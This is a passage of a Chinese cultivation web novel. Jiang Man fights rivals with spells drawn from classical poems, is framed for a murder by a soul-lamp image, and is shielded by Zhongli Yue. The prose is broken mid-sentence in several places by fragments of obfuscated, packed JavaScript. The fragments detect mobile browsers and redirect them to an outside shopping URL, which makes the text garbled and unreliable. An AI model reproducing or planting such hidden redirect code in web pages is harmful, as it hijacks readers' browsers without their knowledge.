锄禾日当午,汗滴禾下土。 谁知盘中餐,粒粒皆辛苦。 江蔓手指落在那个“土”上,可引动地气,化作无形枷锁束缚敌人双脚。 第四页隐隐有落花飘零,异常唯美。 《春晓》小学级(可升级) 春眠不觉晓,处处闻啼鸟。 夜来风雨声,花落知多少。 或许是因为这首诗属于小学级,有两个效果,“春”字可带来生机复苏,引动自然生机,治愈轻伤,驱散低阶毒素,恢复少量灵力。而“鸟”字,可召唤数只灵鸟虚影,进行侦察与预警,并与灵鸟共享视野。 第五页是一片片彩云,彩云间隐约看见一座山。 《早发白帝城》小学级(可升级) 朝辞白帝彩云间,千里江陵一日还。 两岸猿声啼不住,轻舟已过万重山。 依旧两个作用,第一句话可短时间内提升移动速度,而第二句话可生成幻境,进行猿声干扰。 第六页是一个母亲的背影。 《游子吟》小学级(可升级) 慈母手中线,游子身上衣。 临行密密缝,意恐迟迟归。 谁言寸草心,报得三春晖。 慈母两个字散发出温暖的光芒,使用时凝聚一层无形护罩,可抵挡筑基后期全力一击。护罩破碎时,还会给予敌人精神攻击。 不愧是慈母,保护孩子,痛击敌人。虽只有第一句点亮,但效果很强,不敢想象后面升级后,慈母会怎么痛击对手。 江蔓眼睛亮了。 这六首诗,有控制、有辅助、有治疗、有防御、有干扰,虽然耗费灵力较多,但搭配使用,绝对能产生意想不到的效果。 而且她才筑基中期,等境界提升,这些诗还会升级,到时候效果还会增强。 江蔓心满意足,如今在苍茫界,她再也不是前途无望、毫无修炼希望的废柴五灵根了。 她看向瀑布下的水潭,潭水清澈见底。她走到潭边,掬起一捧水,水中倒映出她的脸。 还是那张脸,但眼神和以往已经完全不一样。前世今生,两个世界的记忆在脑海中交织融合。她想起父母的殷切关怀,想起深夜台灯下泛黄的书页,也想起凌霄峰上十五年的风雪,想起那道白衣背影。 之前或许有天道引导,也或许是雏鸟效应,她将钟离樾看得很重,虽然对人生也有规划,但很多是绕着钟离樾来的。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17134028|196070||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 但现在不一样了,既然已经被这个小说世界中的天道绑到这里来了,她就应该好好努力,努力活下去,且要活得很好。让天道知道,并不是所有的一切都是会按照它的规划来走。 至于钟离樾和他以后会出现的真命天女…… 江蔓深吸一口气。 不重要了。 无论钟离樾是怎么想的,无论剧情会怎么发展,她都要走自己的路。 瀑布轰鸣,水雾弥漫。 江蔓转身,朝秘境出口方向行去。前路漫漫,但她已不再迷茫。 筑基后,她对这个世界的感知变得极其敏锐。途经一片竹林时,她看见竹叶在风中翻飞,轨迹中隐隐透露的自然让她心愈发沉静;路过一条溪流,水声潺潺,在她耳中却成了天然的韵律。 这是一种奇妙的体验。仿佛整个世界在她眼中,都化作了可以解读、可以共鸣的篇章。 她沉浸在感悟中,脚步忽然一顿。 前方山谷,传来激烈的打斗声与灵力波动。 江蔓收敛气息,轻声念诵:“处处闻啼鸟。” 几只灵鸟出现在江蔓的面前,围着江蔓飞舞了几圈后便朝着打斗处飞去。 灵鸟飞的高,外形与普通鸟类没什么区别,视野开阔,用来探查情况最为合适不过。 通过分享灵鸟的视野,江蔓看到两名练气期修士正被一只赤炎虎攻击。那两人修为都在练气中期,虽配合默契,但并不是赤炎虎的对手。 赤炎虎暴起,一口烈焰喷出,将其中一人逼退。那人踉跄后退,手中长剑脱手飞出,直直插在树旁的地上,他想拔出剑,却发现已没什么力气了。 另一人也没撑多久,很快被赤炎虎顶飞,撞在树上。 江蔓本不想多管闲事,但若她不出手,这两人肯定被赤炎虎吃了。 江蔓想到她刚刚穿越到这个世界弱小无助的样子,还是心软了。罢了,刚好试试新得的传承好不好用。 江蔓快步上前。 听到脚步声,重伤的两人皆是一惊:“谁?” 他们看着江蔓走出,颇有些警惕,他们担心江蔓是奔着他们的储物袋来的。 却没想到江蔓只是从他们身边经过,便径直朝着赤炎虎去了。 “白日依山尽。” 平静无风的森林突然平地起风,一轮旭日虚影从天而降,将威风凛凛的赤炎虎压倒,江蔓抽出桃花流云剑,一剑捅穿赤炎虎的心脏,赤炎虎瞬间倒地。 两个受伤的修士愣神,这只差点要了他们命的赤炎虎就这么死了。 “两位道友,这虎爪是炼制阵法的好材料,我取走了,其他可以留给你们,不知可行不?” 两人愣愣的,没想到江蔓竟然还会询问他们意见,当即傻傻点头:“可行,可行……”随即反应过来,“多谢前辈救命之恩。” 江蔓还不适应被人这么恭敬称呼,略一点头,割了虎爪便离开了。 在她离开后,两修士才回过神:“不愧是太华宗,连筑基期前辈都只是杂役弟子。” 江蔓并未在意两人的交流,随后继续前行。 江蔓虽已筑基期,但依旧不忘穷修士的初心,在大黄的帮助下,继续收集秘境中的灵草,想着等出了秘境,就离开太华宗做一个散修,到时候更需要灵石,这些灵草也能派上用场。 只是当她经过狭窄的山道时,心中生出几分警觉,猛地向后退了几步,前方突然传来急促的破风声,一柄金色长枪插在她面前,如果不是她警惕,怕是要受伤了。 13. 文道初战 江蔓抬头看去,便见两道身影紧随而至,两人一前一后,将她堵在山道中间。 前面那人,紫袍玉带,面容俊朗却神色阴鸷,正是秦武。 后面那个则是沉默寡言的谢无回。 江蔓心中一沉。这两人简直没完没了了。 “江道友,别来无恙。”秦武缓缓开口,“秘境即将关闭,道友这是要去哪?” 江蔓平静道:“秦道友明知故问,现在自然是出秘境。” 江蔓练气期时就敢与两人对着干,现在筑基中期了,自然更不给面子。 秦武看到江蔓这种骄傲得仿佛众生皆平等的神态就气不打一出来:“出秘境?”他笑了,笑容里却没有半分温度,“道友在传承空间得了天大机缘,就这么走了,不太合适吧?” 说完后,秦武冷下脸,也不再伪装,甩了下手中的鞭子:“将寒玉果交出来,我可以考虑饶你一命。你可要想好,你虽得了天阶传承,但天阶传承落在废物手中也是废物。” 果然。 江蔓心中冷笑。 什么名门正派的天之骄子,说到底还是强盗。传承空间里大喊“不公平”,只不过是因为不公平的对象是他所以才叫嚷。 “寒玉果是我凭实力得到的,没有交出来的道理。”江蔓如今并不怕他们,她现在筑基中期,已经不是寒渊谷中仍任宰割的小可怜了,“两位若想强取,大可试试。” “试试?”听江蔓这么嚣张的话,谢无回掀开眼皮看了她一眼,“你不会以为凭着钟离樾的剑气,我们就不敢杀你了?” 显然他还记得被钟离樾一道剑气吓退的事情,并且耿耿于怀。 秦武也不屑一笑:“我们已经打听清楚了,你不过是钟离樾凌霄峰上的杂役弟子,连个魂灯都没有,死了也没人会知道。” 确实如此,在太华宗十五年,她作为杂役弟子,确实是连个魂灯也没有,她愈发认识到自己只是个炮灰了。 不过江蔓很快振作起来,她已经完全想通,她和钟离樾之间本就是按照天道安排的一厢情愿。 秦武见江蔓走神,觉得江蔓不重视她,也不废话,和在寒渊谷中一样,筑基初期的威压朝着江蔓头上压了下来。长鞭一甩,啪啪炸响:“在寒渊谷有钟离樾的剑气护你,在传承空间有规则护着你,现在我看谁还能护你。今日我就教教你,只有自己的实力强才是硬道理。” 江蔓抬起头,笑了:“虽然你一直说些废话,但这句话却是对的,只有自己实力强才是硬道理。” 系统在江蔓意识中尖叫:“干他!宿主!干他!” 江蔓慢悠悠退后,再也不复上一次相遇时的仓促紧张,反而满是悠闲:“床前明月光。” “嗡……” 她身前骤然浮现一片清冷的月光虚影,月光如水波荡漾,秦武的赤鳞鞭刺入月光中,仿佛陷入了一片泥沼,速度猛地降了下来。 “什么?”秦武脸色一变,“你突破筑基期了?” 江蔓动作不停,第二句诗已出口:“春眠不觉晓。” 翠绿色的生机光晕以她为中心扩散开来,刚才被长鞭余波影响灵气迅速恢复,第三句诗接踵而至:“白日依山尽。” 一道金光自她指尖射出,化作虚幻的落日之景,朝着秦武当头压下。 三诗连发,一气呵成。 秦武猝不及防,被落日虚影砸中胸口,闷哼一声,直接倒在地上,再没有力气反抗。他如今修为本就没有江蔓高,在江蔓的一套连击下,连一息都撑不住。 他眼中满是震惊与暴怒:“你这是什么功法?难道就是你得到的天阶功法?” 虽是问着,但心中已然有了答案,知道这就是江蔓新得的传承,他心中嫉恨:“谢师兄,你快出手!” 他自己打不过江蔓,只能寄希望于谢无回。 谢无回也有些震惊,他是知道江蔓的实力的,在寒渊谷的时候完全被他压着打,若不是钟离樾的剑意……想到这里,他眸光一暗,扬起手掌,金光从他掌心涌出,化成数道流光想要将江蔓包围。 江蔓不慌不忙,再吟:“锄禾日当午。” 地面突然龟裂,脚下的土地仿佛活了过来,伸出数根触须缠向谢无回双脚,谢无回身形一滞,动作慢了半拍。 谢无回着实没想到江蔓进步这么快,不仅修为到了筑基中期,功法也如此不凡。这让他想到了和他几乎同一时间段拜入各自仙门的钟离樾。 他冷哼一声,掌心流光爆发出刺目的光芒,“九天光狱。” 无数金光如牢笼般从天而降,将江蔓四周全部封死。 江蔓脸色凝重。谢无回不愧是凌虚阁首席大弟子,比秦武强太多了。 江蔓双目闪亮,这样也好,只有遇到这样强的对手,才能让她迅速进步:“慈母手中线。” 一层温暖的无形护罩在她身周展开,金光轰在护罩上,激起层层涟漪,却一时无法突破。 同时,她左手按地:“汗滴禾下土。” 从土地上冒出的触须变得更加粗壮,从谢无回脚下纷纷涌出,如藤蔓般缠向他全身。 江蔓现在反而有些感谢自己是五灵根,不然使用各个类别的诗句引动天地灵气的时候也不会这么顺畅。 谢无回被迫分心斩断土触须。 但很快,谢无回便听到江蔓又轻念了一声“白日依山近”,一轮红日砸在他背上,他当然没有像秦武一样被砸倒在地,但也觉得眼前一花,脚步踉跄了一下。 还没等他反应过来,便看到江蔓掏出回气丹,直接一整瓶倒进嘴里,双目晶亮,嘴里重复“白日依山近”五六遍,谢无回被这红日砸了五六遍,砸到嘴角带血。 看着谢无回狼狈的样子,江蔓高兴了,如果不是灵气实在不够,真想砸死这个伪君子,可惜了,她筑基中期,和谢无回筑基期大圆满还是有些差距的。 谢无回被江蔓折腾地够呛,怒火中烧,深吸一口气,唤出金枪。趁此间隙,江蔓口中默念“千里江陵一日还”便身形如电,迅速闪动。 “想跑?”谢无回愤怒,正要追击,却听江蔓冷冷道:“你再追,我就先杀了他。” 谢无回这才发现江蔓竟抓住了秦武,她手中的桃花流云剑正抵在秦武咽喉。 秦武脸色惨白,左臂血流如注,此刻被江蔓控制着,动弹不得。 谢无回脚步顿住了。 他死死盯着江蔓,眼中杀意几乎凝成实质:“你敢动他,我必让你生不如死。”谢无回知道,自己修为比秦武高,天赋比秦武高,但在凌虚阁地位不一定能比得上秦武这个废物。 “那就试试。”江蔓声音平静,“放我离开,否则,我现在就杀了他。要死大家一起死。” 桃花流云剑又刺入半分,秦武脖子上渗出鲜血。 谢无回脸色铁青,没想到江蔓竟然是这样一个疯子,最终咬牙道:“好,我放你走。” 江蔓点头,收起桃花流云剑,顺手抢了秦武的赤鳞鞭,迅速消失在山道尽头。 刚刚的战斗别看她的每一句诗都能引动天地灵气,造成极强的攻击,但是以一对二,她的灵气基本已经耗尽。得亏秦武是个废物,才让她有挣脱的机会。 秦武瘫倒在地,捂着脖子大口喘息:“就这么放她走?” “不然呢?”谢无回冷冷道,“你真想死?” 他看向江蔓消失的方向,眼中寒光闪烁:“有些事,等出了秘境再说。” ***35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17138329|196070||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 江蔓从谢无回那里逃脱后,喜滋滋地找了个地方养伤调息,虽然这次没能彻底打败谢无回,但是也算是找机会揍了他一顿。 至于秦武,她是有实力杀了他的,但一方面,刚恢复的现代人思维让她不会轻易下杀手,另一方面,也是秦武的身份特殊,杀了后患无穷,不能轻易动手。但若是以后秦武还针对她,她也不会客气。 在养伤的同时,江蔓还研究了“春眠不觉晓”引动自然生机的能力,将之与聚灵阵融合,改良了一版专门用来恢复灵气的新阵法。再加上丹药的帮助,很快恢复了灵气。 实力恢复后,江蔓思考了一番,回了一趟之前遭遇噬魂藤的地方。她如今筑基中期的实力,加上与谢无回实战后的经验,自认为就算打不过血手,也能逃跑。 她小心翼翼接近,却发现那里已经人去楼空,血手早已不见了踪迹,原地也没有噬魂藤的踪迹。 江蔓在噬魂藤生长的地方寻找许久,只找到一块玉佩,她见那玉佩形状奇怪,便收了起来。 秘境关闭的最后一日,所有幸存修士都被一股无形的力量包裹,传送回秘境入口。 江蔓落在人群中,立即收敛气息,让自己看起来只是个普通散修。 谢无回是凌虚阁首席弟子,被她用剑指着的秦武是掌门之子,两个人都是她惹不起的存在,只能低调再低调。 且江蔓打算这次从秘境出来后便不回太华宗了,为此换上了之前捡到的储物袋中一条最为普通女子长裙。 但很快,她就察觉到了不对。 入口处人太多了。 而且,气氛极其压抑。 各派弟子泾渭分明地站成几堆,彼此之间眼神戒备,空气中弥漫着紧张的气息。更让她心惊的是,凌虚阁弟子聚集的区域,竟然站着三名气息深不可测的金丹期长老。 其中为首的是一个红衣老者,他背负双手,脸色阴沉得能滴出水来,散发的威压让周围弟子都低着头,不敢直视。 江蔓心中升起不祥的预感。难道是秦武气不过,找来门派长老准备对付她?但她只是筑基期弟子,凌虚阁掌门再宠爱秦武,也不会派三个金丹期来对付她,掌门又不是疯了。 她低着头,混在一群散修的最后方。 “所有人,原地待命。” 一个威严的声音响彻广场,是之前进入秘境前负责登记的执事在说话:“秘境关闭,按惯例需登记收获。请大家不要擅自行动,上交足额贡献后再离开。” 听到这话,江蔓微微松了一口气,原来是例行公事。 江蔓排在一群散修后面清点收获,秘境要求大家上交三成收获,但三大门派到底是名门正派,对于机缘所得的天材地宝和功法不做强求。 寒玉果是谢无回都觊觎的宝贝,江蔓还是有些不放心,她先是用敛息阵套在玉盒外围,遮挡寒玉果气息,随即让冰鳞蛇将玉盒藏在嘴里。 冰鳞蛇嘴里有个小空间,不大,但比储物袋安全很多。 冰鳞蛇看到江蔓将装着寒玉果的玉盒交给它保管的时候,一边流口水,一边感动地流眼泪,主人也太信任它了吧,它自己都没那么相信自己。 很快就轮到江蔓了,江蔓储物袋的东西满满当当,基本都是不值钱的灵草,清点起来也没什么困难,没用多少时间就整理完毕,在按照比例上交了收获后,她松了口气。 很快,她就可以天高任鸟飞了,这小说的炮灰女配角谁爱干谁干去。 但很快,江蔓脚步一顿。 她看到凌虚阁那红衣金丹老者缓缓走出,目光扫视全场,声音冰冷:“我凌虚阁弟子秦武被人杀害,死于青鸾秘境,如今魂灯已灭,在我们找出凶手前,诸位暂且不要离开。” 14. 秦武死了 全场哗然。 秦武死了?那个见人喜欢昂着脑袋,傲慢无比的凌虚阁掌门之子,竟然死在了青鸾秘境里? 红衣金丹老者继续道:“魂灯灭时,传回了他死前最后的影像。” 各大门派都会给门派内核心弟子和长老点魂灯,通过魂灯可以看到主人的生存状态,魂灯亮表示主人还活着,魂灯灭则表示主人死亡。魂灯灭前会将主人死亡前杀他之人的影像传回门派。 红衣老者取出一盏魂灯,滴入鲜血。 魂灯上方凝聚出一幅模糊的画面。 画面中,秦武浑身是血。他对面站着一个青衣女修,女修手中握着一把剑,剑尖正刺向秦武咽喉。 虽然画面模糊,但女修的脸却可以看得清楚,还有那身太华宗杂役弟子的服饰,以及那柄桃花流云剑。 江蔓浑身冰凉。 那画面里显示的杀害秦武的凶手正是她,但她自与谢无回、秦武两人分开之后便没有再遇过他们,且她确定她离开时秦武还活着。 “这女子是谁?”红衣金丹老者怒吼一声,金丹期的威压轰然爆发,如无形巨山压向在场所有人。 江蔓被压得喘不过气,凌霄阁这些人怎么这么喜欢用威压压人?等她以后修为提高了也要来压一压他们。 不过现在并不是考虑这些的时候,现在最重要的是要先从这里离开。 她也想证明自己的清白,但看金丹老者这气势汹汹的样子,明显不是会讲道理的人,说不定看到她之后不管三七二十一直接杀了先泄愤。还是先保住性命再讲清白的事。 凌虚阁三个金丹期修士在这里,一下子增加了她的逃跑难度。江蔓心中开始猜测是谁嫁祸给她。凌霄阁她只认识谢无回和秦武,难道是谢无回? 可能性非常大,那谢无回就是一个伪君子,嘴里一套行为一套。且能够在魂灯里做手脚,必定是了解的人。 系统已经忍不住在江蔓神识中叫唤:“肯定有天道插了一手,天道知道你恢复记忆,要脱离剧情,肯定又开始作妖了。不然怎么不陷害别人,只陷害你?” 系统对这里的天道有偏见,江蔓仔细一想,或许这并不是系统的偏见,天道恐怕就是在隐隐纠正走偏的剧情。若是她死了,她现在剧情也勉强完成,算是钟离樾早死的白月光了。 说不定之前在青鸾秘境中屡次遇险,也有天道的手笔在。这贼老天,可真不讲道理。江蔓忍不住在心里和系统一起骂起了这里的天道。 就在江蔓思索怎么脱离这个困境的时候,谢无回从边上走出,几步走到红衣老者身边,双手抱拳恭敬行礼:“参见三长老。” 红衣老者见到谢无回,脸上生气的表情才有所收敛,压抑着火气:“是无回啊,小武这孩子一直喜欢粘着你,你可知杀他的人是谁?” 他指了指魂灯中的女子影像。 谢无回点头:“弟子确实知道,留影中的女子是太华宗杂役弟子江蔓。” 三长老又怒又疑惑:“一个杂役弟子,怎么能杀了小武?小武可是筑基期修为,还有掌门给的宝物防身。” 谢无回顿了顿,说道:“她得了秘境中的天阶功法。” 这话一出,被金丹长老压制住的众人都忍不住议论开来。去传承塔争夺天阶传承的只是少数精英弟子,也不是所有人都知道江蔓得了天阶功法,但经过谢无回一宣扬,所有人都知道了。 江蔓心道不好,当即运转灵气,准备趁着现在混乱的时候离开。 没想到谢无回转身朝着她的方向看了过来,指尖金光浮动,便遥遥将江蔓的位置指了出来:“三长老,那便是江蔓了。” 江蔓咬牙,果然是伪君子,想必之前就发现她在这了,一直隐忍不发,只为这一刻将她揭露出来。 三长老遥遥朝着江蔓的位置看来,双目一瞪,声如洪钟:“大胆妖女,哪里藏?” 被他一瞪,江蔓胸口如遭重击,“噗”地喷出一口鲜血,单膝跪地。 这就是金丹期的实力,不用出手,只瞪她一眼,便让她受伤了。 但让江蔓就这么等死不是她的性格,她咬牙抬头,直视这位凌虚阁三长老:“前辈,秦武不是我杀的。”她哑声解释道,“那画面里的人不是我。” “还敢狡辩?”三长老眼中杀机毕露,“魂灯影像岂会有假?” 今日不管真相如何,都要先杀了这个女修,好让掌门知道他们对这件事的重视。 他向前一步,就要动手。 “江师妹不是那样的人。”一个清脆的女声响起。 苏离从太华宗队伍中走出,脸色苍白,显然对金丹长老还是惧怕的,但眼神却非常坚定:“前辈,江师妹不是那样的人。在秘境中,她还救过我们。她本性善良,不是滥杀之人,这其中必有什么误会,还请长老调查清楚真相。” 人群中有两人也低声附和苏离的话,竟是江蔓之前随手在赤炎虎口中救下的散修。 “离儿。”苏清音一把将她拉回,低声道,“别冲动。” 苏离甩开苏清音的手:“可是姐姐……” “闭嘴!”苏清音厉声道,“你想害死自己吗?” 苏离咬着嘴唇,眼中满是不甘,却不敢再说话。 周围其他太华宗的弟子,也都沉默。有人露出同情之色,有人幸灾乐祸,但无人敢出头。 这就是修真界。明哲保身,是生存的第一法则。 江蔓倒也不意外,虽然她不是土生土长的苍茫界修士,但她穿越这么久,在太华宗也修炼了十五年,习惯了他们的处事风格。刚刚苏离和两个散修替她说话,反而令她意外了。 在这种环境中,她能做的只是提醒自己不要忘记初心,不要被修真界同化成一个冷血残酷的人。 三老老并不在意苏离,也不在意那两个散修,修为到他这个地步,除非江蔓是太华宗某个长老的亲传弟子,不然不值得他留手。他也不再废话,右手抬起,凌空一拍。 一只巨大的金色手掌凭空出现,毫不留情朝着江蔓当头压下。 这一掌不是普通筑基修士能抵挡的,红衣三长老显然不打算抓她审问,而是要当场格杀。 江蔓瞳孔收缩,浑身血液都仿佛冻结了。她感到全身骨头都在颤动,皮肤表面渗出细密的血珠。 要死了吗? 这个念头浮起的瞬间,江蔓心中涌起的不是恐惧,而是一种近乎荒谬的悲凉。 她刚想起前世今生,刚筑基成功,刚踏上修炼之路,刚决定不再做剧情的傀儡,却要死在这里,死在一个莫须有的罪名下,死在一个甚至懒得听她辩解的金丹修士掌下。 可笑。 可悲。 她还有太多事没做,太多路没走。她怎能死在这里? 她不想死。 绝境之中,江蔓眼中爆发出前所未有的决绝光芒。 她咬破舌尖,在心里默念:“系统,我要点亮新的诗篇。” 系统早就急的哇哇叫:“点亮!点亮!点亮!你尽管用灵力点亮,如果灵力不够,我给你改代码贷款点亮!” 文道第七页,一首诗逐渐亮了起来。 江蔓张口:“离离原上草……” 声音嘶哑,却清晰如钟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“嗡!” 一声清越剑鸣,如九天凤鸣,划破长空,从云端之上传来。 所有人齐齐抬头。 只见东方天际,一道剑光破云而来,剑光所过之处,云层冻结,留下一道冰霜轨迹。剑光太快,快到众人只看到一道残影。 “锵!” 剑光精准地斩在那金色手掌掌心。 没有惊天动地的爆炸,没有气浪翻涌的轰鸣。 只有一声清脆的轻响。 然后,在所有人不敢置信的目光中,那只蕴含金丹修士一击、足以拍碎山岳的金色手掌,从掌心开始,蔓延出无数细密的裂纹。 手掌寸寸碎裂,化作漫天金色光点,随风消散,仿佛从未存在过。 全场死寂。 连风似乎都停了。 所有人都僵在原地,瞪大眼睛,看着那道从天而降的剑在空中一个回旋,轻巧地落回一只修长如玉的手中。 手的主人,踏空而下。 白衣胜雪,衣袂飘飘。 他的到来悄无声息,却让整个广场的温度骤降十度。 凌霜剑意,无声弥漫。 “钟离樾。” 有人颤抖着念出这个名字。 果然是修真界年轻一辈中第一人,轻描淡写间解决一名金丹后期修士的攻击。 15. 公事公办 他落地的位置,恰好挡在江蔓身前。 钟离樾没有看她,也没有其他没有多余动作。只是站在那里,就如一柄出鞘的剑,剑锋所指,万物冻结。 凌虚阁三长老李烈脸色变换很快,有明显的不悦,但看到钟离樾手中剑的时候,硬生生将怒火压了下去。 “钟离道友。”李烈勉强挤出一丝笑容,“你出关了?恭喜你修为又精进了。” 金丹期大圆满,如此年轻的金丹期大圆满修士,以钟离樾的悟性,想必突破元婴期也不是什么难题。太华宗又要多一个元婴期修士了,实力又提升了一些,真是令人嫉妒。 钟离樾抬眼,目光平静地看向他,没有回复他的恭维,只是冷冷道:“李长老要杀我太华宗弟子?” 语气平淡,没有质问,没有怒意,似乎只是疑惑。 李烈面容一肃,却没有太过紧张。 所有人都知道钟离樾这人极讲原则,又极其正义,帮理不帮亲,且钟离樾的性格,除了他师父,仿佛没有任何“亲”。以他师父的修为,根本不需要钟离樾帮。 既然钟离樾来了,李烈自然不能随意处置太华宗弟子。 他深吸一口气,压下心中纷乱情绪,沉声道:“此女杀害我凌虚阁弟子秦武,老夫身为秦武师叔,自当为他报仇。” “证据?”钟离樾不管对谁都冷冷淡淡。 “魂灯影像为证。”李烈一指空中尚未完全消散的画面。 钟离樾目光扫过画面,又扫了一眼江蔓。 江蔓正看着他。 看着他清冷的侧脸,看着他握剑的手,看着他纤尘不染的白衣。 钟离樾确实优秀,作为言情小说男主角也合格,长相出众,天赋强,高不可攀。 但此刻江蔓恢复了前世记忆,再看钟离樾,却没有了当初仰望月亮的那份心情,她如今看他就仿佛看一个认识十五年的故人。 江蔓穿越前不喜欢这种冰山性格的男人,她喜欢的是那种阳光洒脱,有爱一定要说出口的青春少年。 这天道,竟然乱改她喜欢男人的类型。 只是看到钟离樾的目光仅在她身上停留了一瞬,江蔓心中还是不免涌出几分酸涩。 这到底是她真心喜欢过十五年的男人,不管这喜欢中是否参杂了天道的痕迹,不管这喜欢的开始是不是有算计,曾经的感情却一点不假。 钟离樾不知道江蔓心中复杂的感情,他继续看向李烈:“魂灯影像我回去自会核实,李长老仅凭这些,就要当众击杀我宗弟子,是否太过武断?” 李烈脸色难看:“钟离道友,这是要包庇同门?” “不是包庇。”钟离樾淡淡道,“是在和你讲道理。” 他顿了顿,补充道:“若她真犯了门规,自有我太华宗执法堂处置。轮不到凌虚阁越俎代庖。” 这话说得不客气,意思再明白不过。 我太华宗的人,就算要杀,也该由我们自己杀。你凌虚阁,没资格。 李烈咬牙:“那依钟离道友之见,此事该如何处置?” 钟离樾转身,看向江蔓。 这一次,他走到了她面前。两人之间的距离,不过三尺。 江蔓能闻到他身上清冷的雪松气息,能看到他眼中映出的自己狼狈苍白的倒影。 她嘴角带血,却倔强地挺直脊背。 “江蔓,”钟离樾开口,声音平静无波,“随我回执法堂受审。” 江蔓瞳孔一缩。 太华宗执法堂,一向是宗门犯了重罪的弟子才会去的地方,她是无辜的,凭什么直接带她去执法堂? 就算钟离樾不爱她,但与她相处十五年,难道不知道她的为人吗?且他来了之后甚至问都没问过她,全程都在和李烈对话,现在开口便是要带她回执法堂? 一直与她不对付的苏离都能顶着金丹长老的压力,为她辩解几句。 钟离樾丢弃所谓的原则,说一句相信她就这么难? 钟离樾冷着脸,江蔓不知他心中到底如何想的,往好处想,或许钟离樾是想先将她带回太华宗,保证她的安全。但这种保护,不是她想要的。 她要的不是公事公办的庇护,不是规矩之下的周全。她要的是毫无理由的信任,是不问是非的偏袒,是哪怕与全世界为敌也要站在她身边的决绝。 钟离樾给不了。 他永远冷静,永远理智,永远把规矩放在第一位。 这样的人,怎么会为谁破例?又怎么会爱上谁? 哦,他会爱上《娇宠替身小徒儿》的女主角。 但他依旧会冷静、理智、重规矩。哪怕后来爱上了那个与她几分相似的女主,也从未有过什么轰轰烈烈的表白,只是默默守护,循序渐进。 这样的人,注定不会为谁疯狂。 而她江蔓,要的恰恰是那种毫无保留的、炙热的爱。 江蔓心中对钟离樾仅剩的那些酸涩完全消失,一点留念也无。 道不同不相为谋。 他们现代人,爱得起,也放得下。 她看着他,一字一顿地问:“钟离前辈,我没有杀秦武。” 钟离樾眼神几不可察地动了一下,但语气依旧平稳:“是非曲直,宗门自会查明。” 不仅江蔓对钟离樾的态度有意见,李烈也面色铁青。 他活了三百多年,从练气到金丹,见过多少天骄陨落,又见过多少宗门龃龉。钟离樾把这女弟子带回太华宗,不就等于石沉大海?钟离樾亲自护着的人,太华宗执法堂敢真审? 审什么?走个过场,关几天禁闭,然后“查无实据”,不了了之。 而他们凌虚阁弟子,就这么白死了? 江蔓若是知道李烈的想法,必定要告诉他,他想多了,其他人带人离开怕是真的会这么做,但是钟离樾,他只会一板一眼去查明事情真相。 “钟离道友,”李烈一字一顿,声音里压着滔天怒意,“你这是要包庇到底了?” 钟离樾抬眼,目光平静:“我说了,是非曲直,宗门自会查明。” “查明?”李烈怒极反笑,“带回你们太华宗,还能查得出什么?她杀了秦武,魂灯为证,事实摆在眼前,你要带回宗门,不就是想护着她?当我们凌虚阁好欺负吗?” 李烈一扬手,他身后,另外两名凌虚阁金丹长老也踏前一步。 一人身材高大,眼神阴鸷,表情严肃,是凌虚阁刑堂长老赵无常。 另一人身材矮胖,满面红光,面上带笑,是凌虚阁外门长老钱多宝。 此次他们在门派中看到秦武魂灯灭,便知道大事不好,三人当即匆忙赶来。 李烈和钱多宝纷纷取出武器,包围钟离樾,而赵无常则面向江蔓。 他们放弃和钟离樾“讲道理”,准备直接动手杀了江蔓。 讲什么道理,先将人杀了才是正经事。一个杂役弟子,难道太华宗还会找他们麻烦不成? 若今天只有李烈一人来此,恐怕只能不甘心任由钟离樾将人带走,毕竟钟离樾是金丹期大圆满的修为,还是天生剑骨的剑道修士,他确实不是钟离樾的对手。 但他们今天来了三个金丹期,难道还越不过钟离樾杀一个江蔓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17148863|196070||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ? 秘境门口,各派弟子脸色发白,纷纷后退。金丹修士全力施为的威压,哪怕是余波,也不是他们能承受的。 苏清音拉着担心的苏离急退数丈,沐轻尘也护着沧澜派弟子后撤。 只有江蔓仍站在原地。 不是她不想退,而是赵无常的威压已经锁定了她,让她动弹不得。 钟离樾握着剑柄,看着围上来的两名金丹,脸色未变:“三位长老,是要动手?” “是又如何?”老牌金丹期修士也是有自己的骄傲的,谁年轻的时候不是天子骄子呢? “早就听闻钟离道友一剑封神,今日让我们来领教一下你的厉害。” 